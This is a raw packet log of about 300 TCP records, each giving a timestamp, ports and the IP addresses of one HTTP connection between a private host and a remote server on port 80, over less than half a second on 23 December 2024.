Dec 23, 2024 08:15:53.198760033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.198776007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.198996067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199006081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199018002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199352980 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.199352980 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.199373960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199726105 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.199881077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199959040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.199970961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.200017929 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.200335979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.200412989 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.200684071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.200695992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.200707912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.200786114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.200989008 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.201077938 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.201231956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.201334953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.201349974 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.201430082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.201548100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.201608896 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.202033043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.202102900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.202114105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.202172041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.202286959 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.206223965 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.255928993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256006956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256063938 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256100893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256135941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256136894 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.256170988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256176949 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.256211996 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256278038 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.256557941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256614923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256650925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.256674051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.256692886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.256814957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.257348061 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.257401943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.257427931 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.257436991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.257508993 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.257559061 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.258178949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.258214951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.258251905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.258280993 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.258313894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.258390903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.259011984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259068012 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259104013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259108067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.259144068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259177923 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.259728909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259784937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259820938 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.259870052 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.259870052 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.259934902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.303693056 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.308645010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.308705091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.308794975 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.308856964 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.308897972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309312105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309348106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309385061 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309422970 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.309422970 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.309581041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309636116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309670925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.309712887 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.309712887 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.309786081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.310385942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.310421944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.310456991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.310497999 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.310553074 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.310631990 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.311211109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.311245918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.311283112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.311321020 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.311336994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.311374903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.311980963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.312026978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.312042952 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.366226912 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.383559942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.383624077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.383636951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.383702993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.383768082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.383768082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.383768082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.383780956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.384170055 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.384191036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.384588003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.384599924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.384613037 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.385200024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.385200024 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.385217905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.385298014 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.385363102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.385380983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.385385036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.385453939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.385601044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386162043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386174917 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386188984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386341095 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.386341095 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.386358023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386956930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386969090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.386981010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.387084961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.387084961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.387104988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.387727976 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.387761116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.387773037 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.387833118 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.387833118 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.388005972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.388489962 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.388542891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.388556957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.388577938 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.388676882 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.388694048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.389276028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.389321089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.389333010 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.389440060 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.389455080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390120983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390151978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390166998 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390382051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.390382051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.390398026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390867949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390923023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.390934944 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.391344070 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.391344070 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.391356945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.391702890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.391716003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.391727924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.391758919 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.391820908 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.392432928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.392483950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.392498970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.392512083 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.392569065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.392621994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.393301964 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.393313885 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.393326998 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.393409014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.393409014 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.393443108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.393979073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394057035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394063950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394063950 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.394104004 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.394210100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394815922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394829035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.394913912 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.448210955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448227882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448241949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448436975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448451042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448496103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448508978 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.448712111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.448712111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.448712111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.449233055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.449245930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.449289083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.449301004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450011969 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450027943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450064898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450077057 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450088978 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.450088978 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.450088978 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.450802088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450815916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450872898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450886011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.450907946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.450907946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.450907946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.451029062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.451683044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.451694965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.451708078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.452106953 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.452106953 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.452120066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.452390909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.452411890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.452440023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.452455044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.454361916 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.500968933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501004934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501018047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501105070 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.501126051 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501410961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501425028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501436949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501490116 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.501490116 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.501852036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501929998 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.501945019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.502043009 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.502062082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.502281904 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.502669096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.502682924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.502695084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.502758980 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.502836943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.503451109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.503463984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.503478050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.503519058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.503539085 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.503633022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.503703117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.504264116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.504277945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.504336119 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.576226950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576281071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576320887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576348066 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.576360941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576508045 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576508045 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.576545954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576582909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576653957 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.576702118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.576781988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.577229023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.577317953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.577353954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.577393055 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.577444077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.577550888 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.578013897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578104019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578141928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578185081 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.578268051 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578342915 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.578902960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578943968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578982115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.578995943 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.579020977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.579068899 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.579669952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.579705000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.579741955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.579756975 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.579828024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.579890013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.580466986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.580502987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.580539942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.580624104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.580640078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.580729008 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.581258059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.581312895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.581348896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.581394911 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.581430912 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.581526041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.582062960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582099915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582135916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582175016 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.582214117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582302094 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.582787037 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582843065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582879066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.582923889 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.583028078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.583081007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.583662987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.583699942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.583741903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.583810091 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.583844900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.583904028 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.584393024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.584449053 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.584484100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.584495068 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.584614992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.584677935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.585146904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.585242033 CET	80	49763	185.215.113.16	192.168.2.10
